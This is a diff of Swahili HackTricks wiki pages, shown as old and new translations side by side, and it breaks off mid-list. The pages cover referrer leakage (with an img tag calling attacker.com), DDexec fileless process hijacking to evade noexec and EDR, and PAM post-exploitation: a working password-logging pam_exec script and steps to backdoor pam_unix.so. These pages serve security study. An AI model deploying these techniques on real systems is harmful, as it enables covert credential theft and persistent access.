Ikiwa wakati fulani ndani ya ukurasa wa wavuti kuna habari nyeti iliyopo kwenye vigezo vya ombi la GET, ikiwa ukurasa una viungo kwa vyanzo vya nje au mshambuliaji anaweza kufanya/kuashiria (uhandisi wa kijamii) mtumiaji kutembelea URL inayodhibitiwa na mshambuliaji. Inaweza kuwa na uwezo wa kuchukua habari nyeti ndani ya ombi la mwisho la GET.
|
||||
Ikiwa kwa wakati fulani ndani ya ukurasa wa wavuti kuna taarifa nyeti iliyopo kwenye vigezo vya ombi la GET, ikiwa ukurasa una viungo kwa vyanzo vya nje au mshambuliaji anaweza kufanya/kupendekeza (ujanja wa kijamii) mtumiaji atembelee URL inayodhibitiwa na mshambuliaji. Inaweza kuweza kuchota taarifa nyeti ndani ya ombi la GET la hivi karibuni.
|
||||
|
||||
## Kupunguza madhara
|
||||
## Kupunguza Hatari
|
||||
|
||||
Unaweza kufanya kivinjari kufuata **sera ya kurejelea** ambayo inaweza **kuzuia** habari nyeti kutumwa kwa programu nyingine za wavuti:
|
||||
Unaweza kufanya kivinjari kifuatilie **Sera ya Rufaa** ambayo inaweza **kuzuia** taarifa nyeti kutumwa kwa programu zingine za wavuti:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
|
|
@ -34,28 +35,28 @@ Referrer-Policy: strict-origin
|
|||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## Kuzuia-Mitigation
|
||||
## Kupinga-Kupunguza
|
||||
|
||||
Unaweza kubadilisha sheria hii kwa kutumia lebo ya meta ya HTML (mshambuliaji anahitaji kutumia uingizaji wa HTML):
|
||||
Unaweza kubadilisha sheria hii kwa kutumia lebo ya meta ya HTML (mshambuliaji anahitaji kutumia na kuingiza HTML):
|
||||
```markup
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## Ulinzi
|
||||
|
||||
Kamwe usiweke data nyeti ndani ya parameta za GET au njia katika URL.
|
||||
Usiweke data yoyote nyeti ndani ya paramita za GET au njia katika URL.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,30 +1,31 @@
|
|||
# DDexec / KilaKituExec
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Mazingira
|
||||
## Muktadha
|
||||
|
||||
Katika Linux ili kuendesha programu, lazima iwe kama faili, lazima iwe inapatikana kwa njia fulani kupitia mfumo wa faili (hii ndio jinsi `execve()` inavyofanya kazi). Faili hii inaweza kuwepo kwenye diski au kwenye ram (tmpfs, memfd) lakini unahitaji njia ya faili. Hii imefanya iwe rahisi sana kudhibiti ni nini kinachoendeshwa kwenye mfumo wa Linux, inafanya iwe rahisi kugundua vitisho na zana za mshambuliaji au kuzuia jaribio lolote lao la kutekeleza chochote chao kabisa (_kwa mfano_ kutowaruhusu watumiaji wasio na uwezo kuweka faili za kutekelezwa mahali popote).
|
||||
Katika Linux ili kuendesha programu lazima iwe kama faili, lazima iwe inapatikana kwa njia fulani kupitia muundo wa mfumo wa faili (hii ni tu jinsi `execve()` inavyofanya kazi). Faili hii inaweza kuwepo kwenye diski au kwenye ram (tmpfs, memfd) lakini unahitaji njia ya faili. Hii imefanya iwe rahisi sana kudhibiti nini kinachotumika kwenye mfumo wa Linux, inafanya iwe rahisi kugundua vitisho na zana za mshambuliaji au kuzuia jaribio lao la kutekeleza chochote chao kabisa (_k.m._ kuzuia watumiaji wasio na ruhusa kuweka faili za kutekelezeka mahali popote).
|
||||
|
||||
Lakini mbinu hii iko hapa kubadilisha yote haya. Ikiwa huwezi kuanza mchakato unayotaka... **basi unateka moja iliyopo tayari**.
|
||||
Lakini mbinu hii iko hapa kubadilisha haya yote. Ikiwa huwezi kuanzisha mchakato unayotaka... **basi unateka moja iliyopo tayari**.
|
||||
|
||||
Mbinu hii inakuwezesha **kupita njia za kawaida za ulinzi kama vile kusoma tu, noexec, orodha nyeupe ya majina ya faili, orodha nyeupe ya hash...**
|
||||
Mbinu hii inakuruhusu **kupita mbinu za kawaida za ulinzi kama vile kusoma tu, noexec, orodha nyeupe ya majina ya faili, orodha nyeupe ya hash...**
|
||||
|
||||
## Mahitaji
|
||||
|
||||
Script ya mwisho inahitaji zana zifuatazo ili kufanya kazi, zinahitaji kuwa inapatikana kwenye mfumo unaoshambuliwa (kwa chaguo-msingi utazipata kote):
|
||||
Skripti ya mwisho inategemea zana zifuatazo kufanya kazi, zinahitaji kupatikana kwenye mfumo unao shambuliwa (kwa chaguo-msingi utazipata zote kila mahali):
|
||||
```
|
||||
dd
|
||||
bash | zsh | ash (busybox)
|
||||
|
|
@ -40,71 +41,70 @@ base64
|
|||
```
|
||||
## Mbinu
|
||||
|
||||
Ikiwa unaweza kubadilisha kumbukumbu ya mchakato kwa hiari, basi unaweza kuuchukua udhibiti. Hii inaweza kutumika kuiba mchakato uliopo tayari na kuiweka nafasi yake na programu nyingine. Tunaweza kufanikisha hili kwa kutumia syscall ya `ptrace()` (ambayo inahitaji uwezo wa kutekeleza syscalls au kuwa na gdb inapatikana kwenye mfumo) au, zaidi ya hayo, kwa kuandika kwenye `/proc/$pid/mem`.
|
||||
Ikiwa unaweza kubadilisha kumbukumbu ya mchakato kwa hiari basi unaweza kuuteka. Hii inaweza kutumika kuiba mchakato uliopo tayari na kuiweka nafasi yake na programu nyingine. Tunaweza kufanikisha hili kwa kutumia syscall ya `ptrace()` (ambayo inahitaji uwezo wa kutekeleza syscalls au kuwa na gdb inapatikana kwenye mfumo) au, kwa njia ya kuvutia zaidi, kwa kuandika kwenye `/proc/$pid/mem`.
|
||||
|
||||
Faili ya `/proc/$pid/mem` ni ramani moja kwa moja ya nafasi nzima ya anwani ya mchakato (kwa mfano kutoka `0x0000000000000000` hadi `0x7ffffffffffff000` kwenye x86-64). Hii inamaanisha kuwa kusoma au kuandika kwenye faili hii kwenye nafasi ya mbali `x` ni sawa na kusoma au kubadilisha maudhui kwenye anwani ya kawaida `x`.
|
||||
Faili `/proc/$pid/mem` ni ramani moja kwa moja ya nafasi nzima ya anwani ya mchakato (_k.m._ kutoka `0x0000000000000000` hadi `0x7ffffffffffff000` kwenye x86-64). Hii inamaanisha kwamba kusoma au kuandika kwenye faili hii kwenye mbadala `x` ni sawa na kusoma au kubadilisha maudhui kwenye anwani ya kivinjari `x`.
|
||||
|
||||
Sasa, tuna matatizo manne ya msingi ya kukabiliana nayo:
|
||||
|
||||
* Kwa ujumla, tu root na mmiliki wa programu ya faili wanaweza kuihariri.
|
||||
* Kwa ujumla, tu root na mmiliki wa programu ya faili wanaweza kuibadilisha.
|
||||
* ASLR.
|
||||
* Ikiwa tunajaribu kusoma au kuandika kwenye anwani ambayo haipo kwenye nafasi ya anwani ya programu, tutapata kosa la I/O.
|
||||
* Ikiwa jaribu kusoma au kuandika kwenye anwani ambayo haipo ramani kwenye nafasi ya anwani ya programu tutapata kosa la I/O.
|
||||
|
||||
Matatizo haya yana suluhisho ambayo, ingawa sio kamili, ni nzuri:
|
||||
Matatizo haya yana suluhisho ambayo, ingawa si kamili, ni mazuri:
|
||||
|
||||
* Winterpreti wengi wa shell huruhusu uundaji wa maelezo ya faili ambayo kisha yataurithiwa na michakato ya watoto. Tunaweza kuunda fd inayoelekeza kwenye faili ya `mem` ya shell na ruhusa za kuandika... kwa hivyo michakato ya watoto ambayo hutumia fd hiyo itaweza kuhariri kumbukumbu ya shell.
|
||||
* ASLR hata sio tatizo, tunaweza kuangalia faili ya `maps` ya shell au nyingine yoyote kutoka kwenye procfs ili kupata habari kuhusu nafasi ya anwani ya mchakato.
|
||||
* Kwa hivyo tunahitaji kufanya `lseek()` juu ya faili. Kutoka kwenye shell hii haiwezekani isipokuwa kwa kutumia `dd` maarufu.
|
||||
* Winterpreti wengi wa shell kuruhusu uundaji wa maelezo ya faili ambayo kisha yataurithiwa na michakato ya watoto. Tunaweza kuunda fd inayoashiria faili ya `mem` ya kuuza na ruhusa za kuandika... hivyo michakato ya watoto wanaotumia fd hiyo wataweza kubadilisha kumbukumbu ya kuuza.
|
||||
* ASLR hata si tatizo, tunaweza kuangalia faili za `maps` za kuuza au nyingine yoyote kutoka kwa procfs ili kupata habari kuhusu nafasi ya anwani ya mchakato.
|
||||
* Kwa hivyo tunahitaji kufanya `lseek()` kwenye faili. Kutoka kwa kuuza hii haiwezi kufanywa isipokuwa kwa kutumia `dd` inayojulikana.
|
||||
|
||||
### Kwa undani zaidi
|
||||
|
||||
Hatua ni rahisi na hazihitaji aina yoyote ya ujuzi wa kuzielewa:
|
||||
Hatua ni rahisi kiasi na hazihitaji aina yoyote ya ujuzi wa kuzielewa:
|
||||
|
||||
* Tathmini faili tunayotaka kuendesha na mzigo ili kugundua ramani wanazohitaji. Kisha tengeneza "shell"code ambayo itatekeleza, kwa ujumla, hatua sawa ambazo kernel hufanya kwa kila wito wa `execve()`:
|
||||
* Tafsiri binary tunayotaka kukimbia na loader ili kugundua ramani wanazohitaji. Kisha tengeneza "shell"code ambayo itatekeleza, kwa ujumla, hatua sawa ambazo kernel hufanya kwa kila wito wa `execve()`:
|
||||
* Unda ramani hizo.
|
||||
* Soma faili za binary ndani yao.
|
||||
* Soma binaries ndani yao.
|
||||
* Weka ruhusa.
|
||||
* Hatimaye, anzisha stack na hoja za programu na weka vector ya ziada (inayohitajika na mzigo).
|
||||
* Ruka kwenye mzigo na ruhusu ifanye yake (kupakia maktaba zinazohitajika na programu).
|
||||
* Pata kutoka kwenye faili ya `syscall` anwani ambayo mchakato utarudi baada ya syscall inayotekelezwa.
|
||||
* Badilisha mahali hilo, ambalo litakuwa na uwezo wa kutekelezwa, na shellcode yetu (kupitia `mem` tunaweza kubadilisha kurasa zisizoweza kuandikwa).
|
||||
* Pita programu tunayotaka kuendesha kwa stdin ya mchakato (itakayosomwa na "shell"code hiyo).
|
||||
* Kwa wakati huu, ni jukumu la mzigo kupakia maktaba muhimu kwa programu yetu na kuruka ndani yake.
|
||||
* Hatimaye anzisha steki na hoja za programu na weka vector ya ziada (inayohitajika na loader).
|
||||
* Ruka ndani ya loader na ruhusu ifanye mengine (paki za maktaba zinazohitajika na programu).
|
||||
* Pata kutoka kwa faili ya `syscall` anwani ambayo mchakato utarejea baada ya syscall inayotekelezwa.
|
||||
* Badilisha mahali hilo, ambalo litakuwa la kutekelezeka, na shellcode yetu (kupitia `mem` tunaweza kubadilisha kurasa zisizoweza kuandikwa).
|
||||
* Pita programu tunayotaka kukimbia kwa stdin ya mchakato (itakayosomwa na "shell"code hiyo).
|
||||
* Kufikia hatua hii ni jukumu la loader kupakia maktaba muhimu kwa programu yetu na kuruka ndani yake.
|
||||
|
||||
**Angalia zana katika** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
|
||||
## KilaKituExec
|
||||
## KilaKituKitekelezwe
|
||||
|
||||
Kuna njia kadhaa mbadala za `dd`, moja wapo, `tail`, kwa sasa ni programu inayotumiwa kwa chaguo-msingi kwa `lseek()` kupitia faili ya `mem` (ambayo ilikuwa kusudi pekee la kutumia `dd`). Njia mbadala hizo ni:
|
||||
Kuna mbadala kadhaa kwa `dd`, moja wapo, `tail`, kwa sasa ni programu ya chaguo inayotumiwa kufanya `lseek()` kupitia faili ya `mem` (ambayo ilikuwa kusudi pekee la kutumia `dd`). Mbadala hao ni:
|
||||
```bash
|
||||
tail
|
||||
hexdump
|
||||
cmp
|
||||
xxd
|
||||
```
|
||||
Kwa kuweka variable `SEEKER` unaweza kubadilisha mtumiaji wa kutafuta, kwa mfano:
|
||||
Kwa kuweka kipengele `SEEKER` unaweza kubadilisha mtu anayetumika, _k.m._:
|
||||
```bash
|
||||
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
Ikiwa utapata mtafuta mwingine halali ambao haujatekelezwa kwenye hati, bado unaweza kutumia kwa kuweka variable ya `SEEKER_ARGS`:
|
||||
Ikiwa utapata mtu mwingine anayetafuta halali ambaye hajatekelezwa kwenye script unaweza bado kutumia kwa kuweka `SEEKER_ARGS` variable:
|
||||
```bash
|
||||
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
Zuia hii, EDRs.
|
||||
|
||||
## Marejeo
|
||||
* [https://github.com/arget13/DDexec](https://github.com/arget13/DDexec)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,36 +1,37 @@
|
|||
# Uchunguzi Baada ya Kuvamia Linux
|
||||
# Uchimbaji Baada ya Kuingiliwa kwa Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Aunga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kudukua Nywila za Kuingia kwa Kutumia PAM
|
||||
## Kuchunguza Nywila za Kuingia kwa Kutumia PAM
|
||||
|
||||
Hebu tusanidi moduli ya PAM ili kurekodi kila nywila ambayo mtumiaji anatumia kuingia. Ikiwa hujui ni nini PAM angalia:
|
||||
Hebu tuziconfigure moduli ya PAM ili kurekodi kila nywila ambayo kila mtumiaji anatumia kuingia. Ikiwa hujui ni nini PAM angalia:
|
||||
|
||||
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**Kwa maelezo zaidi angalia [chapisho asili](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Hii ni muhtasari tu:
|
||||
**Kwa maelezo zaidi angalia [chapisho la asili](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Hii ni muhtasari tu:
|
||||
|
||||
**Muhtasari wa Mbinu:**
|
||||
Moduli za Uthibitishaji Zinazoweza Kusanikishwa (PAM) hutoa uwezo wa kusimamia uthibitishaji kwenye mfumo wa Unix. Zinaweza kuimarisha usalama kwa kubinafsisha mchakato wa kuingia lakini pia zinaweza kuwa na hatari ikitumiwa vibaya. Muhtasari huu unaelezea mbinu ya kukamata nywila za kuingia kwa kutumia PAM, pamoja na mikakati ya kupunguza hatari.
|
||||
Moduli za Uthibitishaji Zinazoweza Kusanikishwa (PAM) hutoa uwezo wa kusimamia uthibitishaji kwenye mifumo inayotumia Unix. Wanaweza kuboresha usalama kwa kubinafsisha michakato ya kuingia lakini pia wanaweza kuleta hatari ikiwa hutumiwa vibaya. Muhtasari huu unaelezea mbinu ya kukamata nywila za kuingia kwa kutumia PAM, pamoja na mikakati ya kupunguza madhara.
|
||||
|
||||
**Kukamata Nywila:**
|
||||
- Script ya bash iliyoitwa `toomanysecrets.sh` imeundwa ili kurekodi jaribio la kuingia, ikikamata tarehe, jina la mtumiaji (`$PAM_USER`), nywila (kupitia stdin), na anwani ya IP ya mwenyeji wa mbali (`$PAM_RHOST`) kwenye `/var/log/toomanysecrets.log`.
|
||||
- Script hiyo inafanywa kuwa inatekelezeka na kuunganishwa kwenye usanidi wa PAM (`common-auth`) kwa kutumia moduli ya `pam_exec.so` na chaguo za kukimbia kimya kimya na kuonyesha ishara ya uthibitishaji kwa script.
|
||||
- Mbinu hii inaonyesha jinsi mwenyeji wa Linux aliyeathiriwa anaweza kudukuliwa ili kurekodi nywila kwa siri.
|
||||
- Skripti ya bash iliyoitwa `toomanysecrets.sh` imeundwa ili kurekodi jaribio la kuingia, ikikamata tarehe, jina la mtumiaji (`$PAM_USER`), nywila (kupitia stdin), na anwani ya IP ya mwenyeji wa mbali (`$PAM_RHOST`) kwenye `/var/log/toomanysecrets.log`.
|
||||
- Skripti hiyo inafanywa iweze kutekelezwa na kuingizwa kwenye usanidi wa PAM (`common-auth`) kwa kutumia moduli ya `pam_exec.so` na chaguo la kukimbia kimya kimya na kuonyesha kitambulisho cha uthibitishaji kwa skripti.
|
||||
- Mbinu hii inaonyesha jinsi mwenyeji wa Linux uliingiliwa unavyoweza kutumiwa kwa siri kurekodi nywila.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
|
|
@ -40,38 +41,39 @@ sudo nano /etc/pam.d/common-auth
|
|||
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
||||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Kuingiza Backdoor kwenye PAM
|
||||
### Kuweka Backdoor kwenye PAM
|
||||
|
||||
**Kwa maelezo zaidi angalia [chapisho asili](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Hii ni muhtasari tu:
|
||||
**Kwa maelezo zaidi angalia [chapisho la asili](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Hii ni muhtasari tu:
|
||||
|
||||
Pluggable Authentication Module (PAM) ni mfumo unaotumiwa chini ya Linux kwa uthibitishaji wa mtumiaji. Inafanya kazi kwa misingi mitatu kuu: **jina la mtumiaji**, **nywila**, na **huduma**. Faili za usanidi kwa kila huduma zinapatikana katika saraka ya `/etc/pam.d/`, ambapo maktaba za pamoja hushughulikia uthibitishaji.
|
||||
Moduli ya Uthibitishaji Inayoweza Kufungwa (PAM) ni mfumo unaotumiwa chini ya Linux kwa uthibitishaji wa mtumiaji. Inafanya kazi kwa misingi mitatu kuu: **jina la mtumiaji**, **nenosiri**, na **huduma**. Faili za usanidi kwa kila huduma zinapatikana kwenye saraka ya `/etc/pam.d/`, ambapo maktaba za pamoja hushughulikia uthibitishaji.
|
||||
|
||||
**Lengo**: Badilisha PAM ili kuruhusu uthibitishaji kwa kutumia nywila maalum, kukiuka nywila halisi ya mtumiaji. Hii inazingatia sana maktaba ya pamoja ya `pam_unix.so` inayotumiwa na faili ya `common-auth`, ambayo inajumuishwa na huduma nyingi kwa uthibitishaji wa nywila.
|
||||
**Lengo**: Badilisha PAM ili kuruhusu uthibitishaji kwa kutumia nenosiri maalum, ukikwepa nenosiri halisi la mtumiaji. Hii inazingatia sana faili ya `pam_unix.so` inayotumiwa na faili ya `common-auth`, ambayo inajumuisha karibu huduma zote kwa uthibitishaji wa nenosiri.
|
||||
|
||||
### Hatua za Kubadilisha `pam_unix.so`:
|
||||
|
||||
1. **Tafuta Mwongozo wa Uthibitishaji** katika faili ya `common-auth`:
|
||||
- Mstari unaohusika na ukaguzi wa nywila ya mtumiaji unaita `pam_unix.so`.
|
||||
2. **Badilisha Kanuni ya Chanzo**:
|
||||
- Ongeza kauli ya masharti katika faili ya chanzo ya `pam_unix_auth.c` ambayo inaruhusu ufikiaji ikiwa nywila iliyopangwa imetumiwa, vinginevyo, inaendelea na mchakato wa kawaida wa uthibitishaji.
|
||||
3. **Rekebisha na Badilisha** maktaba iliyobadilishwa ya `pam_unix.so` katika saraka sahihi.
|
||||
1. **Tafuta Maelekezo ya Uthibitishaji** kwenye faili ya `common-auth`:
|
||||
- Mstari unaohusika na kuthibitisha nenosiri la mtumiaji unaita `pam_unix.so`.
|
||||
2. **Badilisha Msimbo wa Chanzo**:
|
||||
- Ongeza kauli ya masharti kwenye faili ya chanzo ya `pam_unix_auth.c` ambayo inaruhusu ufikiaji ikiwa nenosiri lililopangwa limetumiwa, vinginevyo, inaendelea na mchakato wa kawaida wa uthibitishaji.
|
||||
3. **Kurekebisha na Kubadilisha** maktaba iliyobadilishwa ya `pam_unix.so` kwenye saraka sahihi.
|
||||
4. **Jaribio**:
|
||||
